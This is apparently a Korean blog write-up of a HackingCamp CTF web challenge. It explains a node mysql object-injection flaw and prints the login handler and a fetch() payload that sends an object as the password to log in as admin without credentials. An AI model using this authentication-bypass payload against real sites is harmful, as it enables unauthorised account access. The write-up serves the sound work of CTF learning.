24th HackingCamp CTF node sqli [WEB]

조승현·2022년 2월 21일
0

app.post('/login', (req, res) => {
    var userid = req.body.userid;
    var userpw = req.body.userpw;

    if (userid && userpw) {
        connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
            [ userid, userpw ],
            (error, results, fields) => {
                if (error) throw error;

                console.log(userid, results)

                if (results.length > 0) {
                    req.session.user = userid;
                    res.redirect('/');
                } else {
                    res.send("wrong userid or userpw");
                }
                
                res.end();
            }
        );
    } else {
        res.send("userid or userpw cannot be empty");
    }
});

마지막 문제다. 문제화면과 제공된 코드의 일부이다. (login page 코드만 거의 있어서 저것만 첨부했습니다)

이 문제는 nodejs mysql에서 발생하는 취약점이라고 한다. 입력받은 값이 stringifyObjects되지 않았을시에 object 자체가 입력값으로 들어갈수있게 되면서 발생하는 취약점이다.

https://harold.kim/blog/2022/02/nodejs-mysql-vulnerability/
이 블로그 글을 보면 쉽게 이해할 수 있다.

data = {
  "userid": "admin",
  "userpw": {
    "userpw": 1
  }
}

fetch("http://ctf-hackingcamp.com:32002/login", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify(data),
  "method": "POST",
})
.then(r => r.text())
.then(r => { console.log(r); });

이 코드를 콘솔에 입력해주면 되는데 의문이 드는점은 그냥 burp suite로 userpw[userpw]=1을 넘겨주면 왜 안된다는 것이다.
fetch에 대해서 잘 몰라서 계속 파다보니 자바스크립트 기초까지 가버렸다... ajax, xhr, xml 등등 봐도 잘 모르겠다. 아직은 이해를 잘 못하지만 하다보면 이해할 것이라 장담한다. 늘 그랬듯.

solved

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글